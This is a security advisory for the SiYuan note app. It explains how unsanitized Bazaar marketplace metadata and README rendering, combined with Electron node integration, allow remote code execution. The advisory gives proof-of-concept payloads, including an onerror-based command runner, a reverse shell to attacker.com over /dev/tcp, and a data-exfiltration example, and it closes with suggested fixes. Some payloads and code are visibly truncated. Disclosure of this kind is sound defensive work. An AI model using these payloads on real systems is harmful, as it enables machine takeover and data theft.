GHSA-v3mg-9v85-fcm7 SiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS

• Go github.com/siyuan-note/siyuan/kernel: <= 0.0.0-20260313024916-fd6526133bb3 (no fix yet)

Remote Code Execution via Malicious Bazaar Package — Marketplace XSS Summary SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by: 1. Package metadata XSS (zero-click): Package `displayName` and `description` fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution. 2. README XSS (one-click): The `renderREADME` function uses `lute.New()` without `SetSanitize(true)`, so raw HTML in the README passes through to `innerHTML` unsanitized. Both vectors execute in Electron's renderer with `nodeIntegration: true` and `contextIsolation: false`, giving full OS command execution. Affected Component • Metadata rendering: `app/src/config/bazaar.ts:275-277` • README rendering (backend): `kernel/bazaar/package.go:635-645` (`renderREADME`) • README rendering (frontend): `app/src/config/bazaar.ts:607` (`innerHTML`) • Electron config: `app/electron/main.js:422-426` (`nodeIntegration: true`) • Version: SiYuan ${item.name}` : ""} // Package description injected directly — NO escaping ${item.preferredDesc || ""} ``` Note: The `title` attribute uses `escapeAttr()`, but the actual text content does not — inconsistent escaping. Vector 2: README rendering — no Lute sanitization (package.go:635-645) ```go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) linkBase := "https://cdn.jsdelivr.net/gh/" + ... luteEngine.SetLinkBase(linkBase) ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved return } ``` Compare with the SiYuan note renderer in `kernel/util/lute.go:81`: ```go luteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOT ``` Frontend innerHTML injection (bazaar.ts:607) ```typescript fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => { mdElement.innerHTML = response.data.html; // Unsanitized HTML from README }); ``` Proof of Concept Vector 1: Malicious package manifest (zero-click RCE) A malicious `plugin.json` (or `theme.json`, `template.json`): ```json { "name": "helpful-plugin", "displayName": { "default": "Helpful Plugin" }, "description": { "default": "A helpful plugin/tmp/pwned')\">" }, "version": "1.0.0" } ``` When any user opens the Bazaar page and this package is in the listing, the `onerror` handler fires automatically (since `src=x` fails to load), executing arbitrary OS commands. Vector 2: Malicious README.md (one-click RCE) ```markdown Helpful Plugin This plugin does helpful things. Installation Follow the usual steps. ``` When a user clicks on the package to view its README, the raw HTML is rendered via `innerHTML` without sanitization, executing the `onerror` handler. Reverse shell via README ```markdown Cool Theme & /dev/tcp/attacker.com/4444 0>&1\"')"> ``` Data exfiltration via package name ```json { "displayName": { "default": "" } } ``` Attack Scenario 1. Attacker creates a GitHub repository with a plugin/theme/template 2. Attacker submits it to the SiYuan Bazaar (community marketplace) 3. Package manifest contains XSS payload in `displayName` or `description` 4. Zero-click: When ANY user browses the Bazaar, the package listing renders the malicious name/description → JavaScript executes → RCE 5. One-click: If the package README also contains raw HTML, clicking to view details triggers additional payloads The attacker doesn't need to trick the user into installing anything. Simply browsing the marketplace is enough. Impact • Severity: CRITICAL (CVSS 9.6) • Type: CWE-79 (Improper Neutralization of Input During Web Page Generation) • Full remote code execution via Electron's `nodeIntegration: true` • Zero-click for metadata XSS — triggers on page load • Supply-chain attack vector targeting all Bazaar users • Can steal API tokens, session cookies, SSH keys, arbitrary files • Can install persistence, backdoors, or ransomware • Affects all SiYuan desktop users who browse the Bazaar Suggested Fix 1. Escape package metadata in template rendering (bazaar.ts) ```typescript // Use a proper HTML escape function function escapeHtml(str: string): string { return str.replace(/&/g, '&amp;').replace(//g, '&gt;').replace(/"/g, '&quot;'); } // Apply to all user-controlled metadata ${escapeHtml(item.preferredName)} ${escapeHtml(item.preferredDesc || "")} ``` 2. Enable Lute sanitization for README rendering (package.go) ```go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() luteEngine.SetSanitize(true) // ADD THIS luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) // ... } ``` 3. Long-term: Harden Electron configuration ```javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, } ```